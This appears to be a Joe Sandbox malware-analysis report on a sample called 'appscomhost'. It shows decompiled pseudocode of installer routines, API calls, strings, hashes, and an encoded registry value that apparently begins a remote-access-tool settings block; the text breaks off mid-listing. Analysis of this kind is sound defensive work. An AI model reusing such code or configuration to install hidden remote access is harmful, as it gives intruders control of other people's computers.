Opcode Fuzzy Hash: 4057bda4a5c8c0b6e4d988ee17e15879bea25588c51fd87f960a9f36ecf40fe5
Instruction Fuzzy Hash: A361BFB1900209BFDB10AF60DD85A6A7B69FB85314F00843AFB05B72D0C778AD61CF99

Uniqueness

Uniqueness Score: -1.00%

Function 100038D4, Relevance: 30.0, APIs: 5, Strings: 12, Instructions: 234
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E100038D4(void* __ecx, void* __eflags, struct HWND__* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				void* __ebx;
				void* _t40;
				void* _t41;
				void* _t42;
				void* _t43;
				void* _t44;
				void* _t45;
				void* _t46;
				void* _t47;
				void* _t51;
				intOrPtr _t53;
				void* _t54;
				intOrPtr _t56;
				void* _t57;
				intOrPtr _t59;
				void* _t60;
				intOrPtr _t62;
				void* _t63;
				void* _t70;
				void* _t72;
				void* _t74;
				void* _t76;
				intOrPtr _t77;
				intOrPtr _t78;
				void* _t79;
				void* _t80;
				struct HWND__* _t81;
				void* _t83;
				void* _t84;
				void* _t85;
				void* _t86;
				void* _t91;
				void* _t92;
				void* _t93;
				void* _t94;
				void* _t98;
				void* _t104;
				void* _t106;
				void* _t107;
				void* _t115;
				struct HWND__* _t127;

				_t115 = __eflags;
				E10002CF0(__ecx, _a8, _a12, _a16, _a20);
				_t40 = GlobalAlloc(0x40, 0x10960);
				 *0x1000702c = _t40;
				 *(_t40 + 0x10940) =  *(_t40 + 0x10940) | 0xffffffff;
				_t41 =  *0x1000702c; // 0x0
				 *((intOrPtr*)(_t41 + 0x1093c)) = 1;
				_t42 =  *0x1000702c; // 0x0
				 *((intOrPtr*)(_t42 + 0x1094c)) = 0;
				_t43 =  *0x1000702c; // 0x0
				 *((intOrPtr*)(_t43 + 0x10950)) = 1;
				_t44 =  *0x1000702c; // 0x0
				 *((intOrPtr*)(_t44 + 0x10954)) = 1;
				_t45 =  *0x1000702c; // 0x0
				 *((intOrPtr*)(_t45 + 0x10958)) = 1;
				_t46 =  *0x1000702c; // 0x0
				 *((intOrPtr*)(_t46 + 0x1095c)) = 1;
				_t47 =  *0x1000702c; // 0x0
				E10002B98(_t47 + 8, 0x400);
				E10002B98(0x10027780, 0x400);
				_t51 =  *0x1000702c; // 0x0
				_t13 = _t51 + 8; // 0x8
				_t53 = E100023B4(1, _t115, _t13, _t51 + 0x10930, 0, _t13);
				_t91 =  *0x1000702c; // 0x0
				 *((intOrPtr*)(_t91 + 0x250)) = _t53;
				_t54 =  *0x1000702c; // 0x0
				_t56 = E100029B8(0x10027780, L"/N=", 0, _t54 + 0x254, 0x400);
				_t92 =  *0x1000702c; // 0x0
				 *((intOrPtr*)(_t92 + 0x49c)) = _t56;
				_t57 =  *0x1000702c; // 0x0
				_t106 = _t104 + 0x44;
				if( *((intOrPtr*)(_t57 + 0x49c)) == 0) {
					_t59 = E100029B8(0x10027780, L"/NS=", 0, _t57 + 0x254, 0x400);
					_t93 =  *0x1000702c; // 0x0
					 *((intOrPtr*)(_t93 + 0x49c)) = _t59;
					_t60 =  *0x1000702c; // 0x0
					_t107 = _t106 + 0x14;
					__eflags =  *((intOrPtr*)(_t60 + 0x49c));
					if( *((intOrPtr*)(_t60 + 0x49c)) == 0) {
						_t62 = E100029B8(0x10027780, L"/NI=", 0, _t60 + 0x254, 0x400);
						_t94 =  *0x1000702c; // 0x0
						 *((intOrPtr*)(_t94 + 0x49c)) = _t62;
						_t63 =  *0x1000702c; // 0x0
						_t107 = _t107 + 0x14;
						__eflags =  *((intOrPtr*)(_t63 + 0x49c));
						if( *((intOrPtr*)(_t63 + 0x49c)) != 0) {
							 *((intOrPtr*)(_t63 + 0x1094c)) = 3;
						}
					} else {
						 *((intOrPtr*)(_t60 + 0x1094c)) = 2;
					}
				} else {
					 *((intOrPtr*)(_t57 + 0x1094c)) = 1;
				}
				if(E100029B8(0x10027780, L"/K=", 0, ?str?, 0x400) != 0 &&  *0x10007760 == 0x30) {
					_t86 =  *0x1000702c; // 0x0
					 *((intOrPtr*)(_t86 + 0x10950)) = 0;
				}
				if(E100029B8(0x10027780, L"/V=", 0, ?str?, 0x400) != 0 &&  *0x10007760 == 0x30) {
					_t85 =  *0x1000702c; // 0x0
					 *((intOrPtr*)(_t85 + 0x10954)) = 0;
				}
				if(E100029B8(0x10027780, L"/S=", 0, ?str?, 0x400) != 0 &&  *0x10007760 == 0x30) {
					_t84 =  *0x1000702c; // 0x0
					 *((intOrPtr*)(_t84 + 0x10958)) = 0;
				}
				if(E100029B8(0x10027780, L"/G=", 0, ?str?, 0x400) != 0 &&  *0x10007760 == 0x30) {
					_t83 =  *0x1000702c; // 0x0
					 *((intOrPtr*)(_t83 + 0x1095c)) = 0;
				}
				if(E100029B8(0x10027780, L"/B=", 0, ?str?, 0x400) != 0) {
					_t78 =  *0x10007760; // 0x52
					if(_t78 != 0x31) {
						__eflags = _t78 - 0x32;
						if(_t78 == 0x32) {
							_t79 =  *0x1000702c; // 0x0
							 *((intOrPtr*)(_t79 + 0x10944)) = 2;
						}
					} else {
						_t80 =  *0x1000702c; // 0x0
						 *((intOrPtr*)(_t80 + 0x10944)) = 1;
						_t127 =  *0x10007028; // 0x0
						if(_t127 == 0) {
							_t81 = FindWindowExA(_a4, 0, "#32770", 0);
							 *0x10007028 = _t81;
							if(_t81 != 0) {
								 *0x10007028 = GetDlgItem(_t81, 0x3ee);
							}
						}
					}
				}
				if(E100029B8(0x10027780, L"/T=", 0, 0x10007760, 0x400) != 0) {
					_t77 = E10002625(0x10007760);
					_t98 =  *0x1000702c; // 0x0
					 *((intOrPtr*)(_t98 + 0x10940)) = _t77;
				}
				_t70 =  *0x1000702c; // 0x0
				_t95 =  *((intOrPtr*)(_t70 + 0x10930));
				if( *((intOrPtr*)(_t70 + 0x10930)) == 0 ||  *((intOrPtr*)(_t70 + 0x10950)) == 0 &&  *((intOrPtr*)(_t70 + 0x10954)) == 0 &&  *((intOrPtr*)(_t70 + 0x10958)) == 0) {
					L33:
					GlobalFree(_t70);
					_t72 = E10002C7B("0");
					goto L34;
				} else {
					_t36 = _t70 + 0x10934; // 0x10934
					_t74 = E100038AD(_t95, _t70 + 8, 0, 0x20019, _t36);
					_t70 =  *0x1000702c; // 0x0
					if(_t74 != 0) {
						goto L33;
					}
					RegCloseKey( *(_t70 + 0x10934));
					_t76 =  *0x1000702c; // 0x0
					 *((intOrPtr*)(_t76 + 0x10948)) = 1;
					_t72 = E100030E0( *0x1000702c);
					L34:
					return _t72;
				}
			}

0x100038d4
0x100038e8
0x100038f7
0x100038fd
0x10003902
0x10003909
0x10003911
0x10003917
0x1000391e
0x10003924
0x10003929
0x1000392f
0x10003934
0x1000393a
0x1000393f
0x10003945
0x1000394a
0x10003950
0x1000395f
0x1000396b
0x10003970
0x10003975
0x10003981
0x10003986
0x1000398c
0x10003992
0x100039a5
0x100039aa
0x100039b0
0x100039b6
0x100039bb
0x100039c4
0x100039dc
0x100039e1
0x100039e7
0x100039ed
0x100039f2
0x100039f5
0x100039fb
0x10003a17
0x10003a1c
0x10003a22
0x10003a28
0x10003a2d
0x10003a30
0x10003a36
0x10003a38
0x10003a38
0x100039fd
0x100039fd
0x100039fd
0x100039c6
0x100039c6
0x100039c6
0x10003a59
0x10003a65
0x10003a6a
0x10003a6a
0x10003a87
0x10003a93
0x10003a98
0x10003a98
0x10003ab5
0x10003ac1
0x10003ac6
0x10003ac6
0x10003ae3
0x10003aef
0x10003af4
0x10003af4
0x10003b11
0x10003b13
0x10003b1d
0x10003b5f
0x10003b63
0x10003b65
0x10003b6a
0x10003b6a
0x10003b1f
0x10003b1f
0x10003b24
0x10003b2a
0x10003b30
0x10003b3d
0x10003b45
0x10003b4a
0x10003b58
0x10003b58
0x10003b4a
0x10003b30
0x10003b1d
0x10003b8c
0x10003b8f
0x10003b95
0x10003b9b
0x10003b9b
0x10003ba1
0x10003ba6
0x10003bae
0x10003c0f
0x10003c10
0x10003c1b
0x00000000
0x10003bc8
0x10003bc8
0x10003bda
0x10003be4
0x10003be9
0x00000000
0x00000000
0x10003bf1
0x10003bf7
0x10003bfc
0x10003c08
0x10003c20
0x10003c25
0x10003c25

APIs

GlobalAlloc.KERNEL32(00000040,00010960), ref: 100038F7

Part of subcall function 10002B98: GlobalFree.KERNELBASE(00000400), ref: 10002BF8

Part of subcall function 10002B98: MultiByteToWideChar.KERNEL32(00000000,00000000,00000404,000000FF,?,?,?,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,00000400,10003008,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,00000400,?,?,?,?), ref: 10002BDA

FindWindowExA.USER32 ref: 10003B3D
GetDlgItem.USER32 ref: 10003B52
RegCloseKey.ADVAPI32(?), ref: 10003BF1
GlobalFree.KERNEL32 ref: 10003C10

Part of subcall function 10002C7B: GlobalAlloc.KERNEL32(00000040,00000808,REG_BINARY,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,10003020,REG_BINARY,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,00000000,REG_BINARY,00000400,00000001,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,00000400,?,?,?), ref: 10002C96

Strings

/NI=, xrefs: 10003A11
/S=, xrefs: 10003AA5
/G=, xrefs: 10003AD3
/N=, xrefs: 1000399F
/B=, xrefs: 10003B01
/NS=, xrefs: 100039D6
/V=, xrefs: 10003A77
/T=, xrefs: 10003B7C
3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076, xrefs: 10003965, 1000396A, 100039A4, 100039DB, 10003A16, 10003A4E, 10003A7C, 10003AAA, 10003AD8, 10003B06, 10003B81
#32770, xrefs: 10003B33
/K=, xrefs: 10003A49
REG_BINARY, xrefs: 10003A43, 10003A71, 10003A9F, 10003ACD, 10003AFB, 10003B13, 10003B75, 10003B7A, 10003B8E

Memory Dump Source

Source File: 00000005.00000002.288908428.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.288900657.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288917465.0000000010006000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288924332.0000000010007000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288932582.0000000010027000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288940667.0000000010047000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288949750.0000000010058000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_appscomhost.jbxd

Similarity

API ID: Global$AllocFree$ByteCharCloseFindItemMultiWideWindow
String ID: #32770$/B=$/G=$/K=$/N=$/NI=$/NS=$/S=$/T=$/V=$3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076$REG_BINARY
API String ID: 3499353900-126524741
Opcode ID: 8f77aa66bca124f8f875df8a471e1e44a697504ea18cd0054f02ea84bc51efcf
Instruction ID: 365e6f5f25b1f83e1dd00ba1fd5339e23cab235de8553f25a2c5091953fb1571
Opcode Fuzzy Hash: 8f77aa66bca124f8f875df8a471e1e44a697504ea18cd0054f02ea84bc51efcf
Instruction Fuzzy Hash: F0818BB5D01254EFF301DB26CC89EAB37E8FB492C4B01816AF94C9626BC775A841CB31

Uniqueness

Uniqueness Score: -1.00%

Function 00401000, Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00401000(struct HWND__* _a4, void* _a8, signed int _a12, void* _a16) {
				struct tagLOGBRUSH _v16;
				struct tagRECT _v32;
				struct tagPAINTSTRUCT _v96;
				struct HDC__* _t70;
				struct HBRUSH__* _t87;
				struct HFONT__* _t94;
				long _t102;
				signed int _t126;
				struct HDC__* _t128;
				intOrPtr _t130;

				if(_a8 == 0xf) {
					_t130 =  *0x47af14;
					_t70 = BeginPaint(_a4,  &_v96);
					_v16.lbStyle = _v16.lbStyle & 0x00000000;
					_a8 = _t70;
					GetClientRect(_a4,  &_v32);
					_t126 = _v32.bottom;
					_v32.bottom = _v32.bottom & 0x00000000;
					while(_v32.top < _t126) {
						_a12 = _t126 - _v32.top;
						asm("cdq");
						asm("cdq");
						asm("cdq");
						_v16.lbColor = 0 << 0x00000008 | (( *(_t130 + 0x50) & 0x000000ff) * _a12 + ( *(_t130 + 0x54) & 0x000000ff) * _v32.top) / _t126 & 0x000000ff;
						_t87 = CreateBrushIndirect( &_v16);
						_v32.bottom = _v32.bottom + 4;
						_a16 = _t87;
						FillRect(_a8,  &_v32, _t87);
						DeleteObject(_a16);
						_v32.top = _v32.top + 4;
					}
					if( *(_t130 + 0x58) != 0xffffffff) {
						_t94 = CreateFontIndirectW( *(_t130 + 0x34));
						_a16 = _t94;
						if(_t94 != 0) {
							_t128 = _a8;
							_v32.left = 0x10;
							_v32.top = 8;
							SetBkMode(_t128, 1);
							SetTextColor(_t128,  *(_t130 + 0x58));
							_a8 = SelectObject(_t128, _a16);
							DrawTextW(_t128, 0x472f00, 0xffffffff,  &_v32, 0x820);
							SelectObject(_t128, _a8);
							DeleteObject(_a16);
						}
					}
					EndPaint(_a4,  &_v96);
					return 0;
				}
				_t102 = _a16;
				if(_a8 == 0x46) {
					 *(_t102 + 0x18) =  *(_t102 + 0x18) | 0x00000010;
					 *((intOrPtr*)(_t102 + 4)) =  *0x47af08;
				}
				return DefWindowProcW(_a4, _a8, _a12, _t102);
			}

0x0040100a
0x00401039
0x00401047
0x0040104d
0x00401051
0x0040105b
0x00401061
0x00401064
0x004010f3
0x00401089
0x0040108c
0x004010a6
0x004010bd
0x004010cc
0x004010cf
0x004010d5
0x004010d9
0x004010e4
0x004010ed
0x004010ef
0x004010ef
0x00401100
0x00401105
0x0040110d
0x00401110
0x00401112
0x00401118
0x0040111f
0x00401126
0x00401130
0x00401142
0x00401156
0x00401160
0x00401165
0x00401165
0x00401110
0x0040116e
0x00000000
0x00401178
0x00401010
0x00401013
0x00401015
0x0040101f
0x0040101f
0x00000000

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32 ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32 ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00472F00,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 495aac8c3aec80d9bd170927cf0fdaaf372305ca08240f44d36bfd43c342a6d2
Instruction ID: 091c7cec62e5b1b7bb1ec8d78a1cb542d4262151c0ec3c0d5254ecb3f638a4fe
Opcode Fuzzy Hash: 495aac8c3aec80d9bd170927cf0fdaaf372305ca08240f44d36bfd43c342a6d2
Instruction Fuzzy Hash: E0418B71800209AFCF058FA5CE459AF7BB9FF44315F00802AF995AA1A0C7789A55DFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040605D, Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040605D(void* __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t12;
				long _t24;
				char* _t31;
				int _t37;
				void* _t38;
				intOrPtr* _t39;
				long _t42;
				WCHAR* _t44;
				void* _t46;
				void* _t48;
				void* _t49;
				void* _t52;
				void* _t53;

				_t38 = __ecx;
				_t44 =  *(_t52 + 0x14);
				 *0x468908 = 0x55004e;
				 *0x46890c = 0x4c;
				if(_t44 == 0) {
					L3:
					_t12 = GetShortPathNameW( *(_t52 + 0x1c), 0x469108, 0x400);
					if(_t12 != 0 && _t12 <= 0x400) {
						_t37 = wsprintfA(0x468508, "%ls=%ls\r\n", 0x468908, 0x469108);
						_t53 = _t52 + 0x10;
						E0040644E(_t37, 0x400, 0x469108, 0x469108,  *((intOrPtr*)( *0x47af14 + 0x128)));
						_t12 = E00405F07(0x469108, 0xc0000000, 4);
						_t48 = _t12;
						 *(_t53 + 0x18) = _t48;
						if(_t48 != 0xffffffff) {
							_t42 = GetFileSize(_t48, 0);
							_t6 = _t37 + 0xa; // 0xa
							_t46 = GlobalAlloc(0x40, _t42 + _t6);
							if(_t46 == 0 || E00405F8A(_t48, _t46, _t42) == 0) {
								L18:
								return CloseHandle(_t48);
							} else {
								if(E00405E6C(_t38, _t46, "[Rename]\r\n") != 0) {
									_t49 = E00405E6C(_t38, _t21 + 0xa, "\n[");
									if(_t49 == 0) {
										_t48 =  *(_t53 + 0x18);
										L16:
										_t24 = _t42;
										L17:
										E00405EC2(_t24 + _t46, 0x468508, _t37);
										SetFilePointer(_t48, 0, 0, 0);
										E00405FB9(_t48, _t46, _t42 + _t37);
										GlobalFree(_t46);
										goto L18;
									}
									_t39 = _t46 + _t42;
									_t31 = _t39 + _t37;
									while(_t39 > _t49) {
										 *_t31 =  *_t39;
										_t31 = _t31 - 1;
										_t39 = _t39 - 1;
									}
									_t24 = _t49 - _t46 + 1;
									_t48 =  *(_t53 + 0x18);
									goto L17;
								}
								lstrcpyA(_t46 + _t42, "[Rename]\r\n");
								_t42 = _t42 + 0xa;
								goto L16;
							}
						}
					}
				} else {
					CloseHandle(E00405F07(_t44, 0, 1));
					_t12 = GetShortPathNameW(_t44, 0x468908, 0x400);
					if(_t12 != 0 && _t12 <= 0x400) {
						goto L3;
					}
				}
				return _t12;
			}

0x0040605d
0x00406066
0x0040606d
0x00406077
0x0040608b
0x004060b3
0x004060be
0x004060c2
0x004060e2
0x004060e9
0x004060f3
0x00406100
0x00406105
0x0040610a
0x0040610e
0x0040611d
0x0040611f
0x0040612c
0x00406130
0x004061cb
0x00000000
0x00406146
0x00406153
0x00406177
0x0040617b
0x0040619a
0x0040619e
0x0040619e
0x004061a0
0x004061a9
0x004061b4
0x004061bf
0x004061c5
0x00000000
0x004061c5
0x0040617d
0x00406180
0x0040618b
0x00406187
0x00406189
0x0040618a
0x0040618a
0x00406192
0x00406194
0x00000000
0x00406194
0x0040615e
0x00406164
0x00000000
0x00406164
0x00406130
0x0040610e
0x0040608d
0x00406098
0x004060a1
0x004060a5
0x00000000
0x00000000
0x004060a5
0x004061d6

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,004061F8,?,?), ref: 00406098
GetShortPathNameW.KERNEL32 ref: 004060A1

Part of subcall function 00405E6C: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406151,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7C
Part of subcall function 00405E6C: lstrlenA.KERNEL32(00000000,?,00000000,00406151,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405EAE

GetShortPathNameW.KERNEL32 ref: 004060BE
wsprintfA.USER32 ref: 004060DC
GetFileSize.KERNEL32(00000000,00000000,00469108,C0000000,00000004,00469108,?,?,?,?,?), ref: 00406117
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00406126
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 0040615E
SetFilePointer.KERNEL32(0040A580,00000000,00000000,00000000,00000000,00468508,00000000,-0000000A,0040A580,00000000,[Rename],00000000,00000000,00000000), ref: 004061B4
GlobalFree.KERNEL32 ref: 004061C5
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004061CC

Part of subcall function 00405F07: GetFileAttributesW.KERNELBASE(004E8000,00403055,004E8000,80000000,00000003,?,00000007,00000009,0000000B), ref: 00405F0B
Part of subcall function 00405F07: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,00000007,00000009,0000000B), ref: 00405F2D

Strings

[Rename], xrefs: 00406146, 00406158
%ls=%ls, xrefs: 004060D2

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: ca3c071cc0a111d3df6e6c6794647041138242e219b273ead90cb4d164c94025
Instruction ID: 525edf7b5deef371a426c716e8f5e6cf1ccca4e6f4802bcf7133c891b19580a9
Opcode Fuzzy Hash: ca3c071cc0a111d3df6e6c6794647041138242e219b273ead90cb4d164c94025
Instruction Fuzzy Hash: A73124712017157BD2206B218D48F6B3A5CDF45754F15003EFE46FA2C2EA7CA9258ABE

Uniqueness

Uniqueness Score: -1.00%

Function 0040644E, Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E0040644E(void* __ebx, void* __edi, void* __esi, signed int _a4, signed int _a8) {
				signed int _v8;
				struct _ITEMIDLIST* _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _t43;
				WCHAR* _t44;
				signed char _t46;
				signed int _t47;
				signed int _t48;
				short _t58;
				short _t60;
				short _t62;
				void* _t70;
				signed int _t76;
				void* _t82;
				signed char _t83;
				short _t86;
				signed int _t96;
				void* _t102;
				short _t103;
				signed int _t106;
				signed int _t108;
				void* _t109;
				WCHAR* _t110;
				void* _t112;

				_t109 = __esi;
				_t102 = __edi;
				_t70 = __ebx;
				_t43 = _a8;
				if(_t43 < 0) {
					_t43 =  *( *0x472edc - 4 + _t43 * 4);
				}
				_push(_t70);
				_push(_t109);
				_push(_t102);
				_t96 =  *0x47af58 + _t43 * 2;
				_t44 = 0x46aea0;
				_t110 = 0x46aea0;
				if(_a4 >= 0x46aea0 && _a4 - 0x46aea0 >> 1 < 0x4000) {
					_t110 = _a4;
					_a4 = _a4 & 0x00000000;
				}
				while(1) {
					_t103 =  *_t96;
					if(_t103 == 0) {
						break;
					}
					__eflags = (_t110 - _t44 & 0xfffffffe) - 0x4000;
					if((_t110 - _t44 & 0xfffffffe) >= 0x4000) {
						break;
					}
					_t82 = 2;
					_t96 = _t96 + _t82;
					__eflags = _t103 - 4;
					_a8 = _t96;
					if(__eflags >= 0) {
						if(__eflags != 0) {
							 *_t110 = _t103;
							_t110 = _t110 + _t82;
							__eflags = _t110;
						} else {
							 *_t110 =  *_t96;
							_t110 = _t110 + _t82;
							_t96 = _t96 + _t82;
						}
						continue;
					}
					_t83 =  *((intOrPtr*)(_t96 + 1));
					_t46 =  *_t96;
					_t47 = _t46 & 0x000000ff;
					_v8 = (_t83 & 0x0000007f) << 0x00000007 | _t46 & 0x0000007f;
					_a8 = _a8 + 2;
					_v28 = _t47 | 0x00008000;
					_v24 = _t47;
					_t76 = _t83 & 0x000000ff;
					_v16 = _t76;
					__eflags = _t103 - 2;
					_v20 = _t76 | 0x00008000;
					if(_t103 != 2) {
						__eflags = _t103 - 3;
						if(_t103 != 3) {
							__eflags = _t103 - 1;
							if(_t103 == 1) {
								__eflags = (_t47 | 0xffffffff) - _v8;
								E0040644E(_t76, _t103, _t110, _t110, (_t47 | 0xffffffff) - _v8);
							}
							L43:
							_t48 = lstrlenW(_t110);
							_t96 = _a8;
							_t110 =  &(_t110[_t48]);
							_t44 = 0x46aea0;
							continue;
						}
						_t106 = _v8;
						__eflags = _t106 - 0x1d;
						if(_t106 != 0x1d) {
							__eflags = (_t106 << 0xe) + 0x47c000;
							E00406411(_t110, (_t106 << 0xe) + 0x47c000);
						} else {
							E00406358(_t110,  *0x47af08);
						}
						__eflags = _t106 + 0xffffffeb - 7;
						if(_t106 + 0xffffffeb < 7) {
							L34:
							E004066C0(_t110);
						}
						goto L43;
					}
					_t86 =  *0x47af0c;
					__eflags = _t86;
					_t108 = 2;
					if(_t86 >= 0) {
						L13:
						_v8 = 1;
						L14:
						__eflags =  *0x47afa4;
						if( *0x47afa4 != 0) {
							_t108 = 4;
						}
						__eflags = _t47;
						if(__eflags >= 0) {
							__eflags = _t47 - 0x25;
							if(_t47 != 0x25) {
								__eflags = _t47 - 0x24;
								if(_t47 == 0x24) {
									GetWindowsDirectoryW(_t110, 0x2000);
									_t108 = 0;
								}
								while(1) {
									__eflags = _t108;
									if(_t108 == 0) {
										goto L30;
									}
									_t58 =  *0x47af04;
									_t108 = _t108 - 1;
									__eflags = _t58;
									if(_t58 == 0) {
										L26:
										_t60 = SHGetSpecialFolderLocation( *0x47af08,  *(_t112 + _t108 * 4 - 0x18),  &_v12);
										__eflags = _t60;
										if(_t60 != 0) {
											L28:
											 *_t110 =  *_t110 & 0x00000000;
											__eflags =  *_t110;
											continue;
										}
										__imp__SHGetPathFromIDListW(_v12, _t110);
										__imp__CoTaskMemFree(_v12);
										__eflags = _t60;
										if(_t60 != 0) {
											goto L30;
										}
										goto L28;
									}
									__eflags = _v8;
									if(_v8 == 0) {
										goto L26;
									}
									_t62 =  *_t58( *0x47af08,  *(_t112 + _t108 * 4 - 0x18), 0, 0, _t110);
									__eflags = _t62;
									if(_t62 == 0) {
										goto L30;
									}
									goto L26;
								}
								goto L30;
							}
							GetSystemDirectoryW(_t110, 0x2000);
							goto L30;
						} else {
							E004062DF( *0x47af58, __eflags, 0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion",  *0x47af58 + (_t47 & 0x0000003f) * 2, _t110, _t47 & 0x00000040);
							__eflags =  *_t110;
							if( *_t110 != 0) {
								L32:
								__eflags = _t76 - 0x1a;
								if(_t76 == 0x1a) {
									lstrcatW(_t110, L"\\Microsoft\\Internet Explorer\\Quick Launch");
								}
								goto L34;
							}
							E0040644E(_t76, _t108, _t110, _t110, _t76);
							L30:
							__eflags =  *_t110;
							if( *_t110 == 0) {
								goto L34;
							}
							_t76 = _v16;
							goto L32;
						}
					}
					__eflags = _t86 - 0x5a04;
					if(_t86 == 0x5a04) {
						goto L13;
					}
					__eflags = _t76 - 0x23;
					if(_t76 == 0x23) {
						goto L13;
					}
					__eflags = _t76 - 0x2e;
					if(_t76 == 0x2e) {
						goto L13;
					} else {
						_v8 = _v8 & 0x00000000;
						goto L14;
					}
				}
				 *_t110 =  *_t110 & 0x00000000;
				if(_a4 == 0) {
					return _t44;
				}
				return E00406411(_a4, _t44);
			}

0x0040644e
0x0040644e
0x0040644e
0x00406454
0x00406459
0x0040646a
0x0040646a
0x00406472
0x00406473
0x00406474
0x00406475
0x00406478
0x00406480
0x00406482
0x0040649b
0x0040649e
0x0040649e
0x0040669a
0x0040669a
0x004066a0
0x00000000
0x00000000
0x004064ae
0x004064b4
0x00000000
0x00000000
0x004064bc
0x004064bd
0x004064bf
0x004064c3
0x004064c6
0x00406687
0x00406695
0x00406698
0x00406698
0x00406689
0x0040668c
0x0040668f
0x00406691
0x00406691
0x00000000
0x00406687
0x004064cc
0x004064cf
0x004064de
0x004064e5
0x004064ef
0x004064f3
0x004064f6
0x004064f9
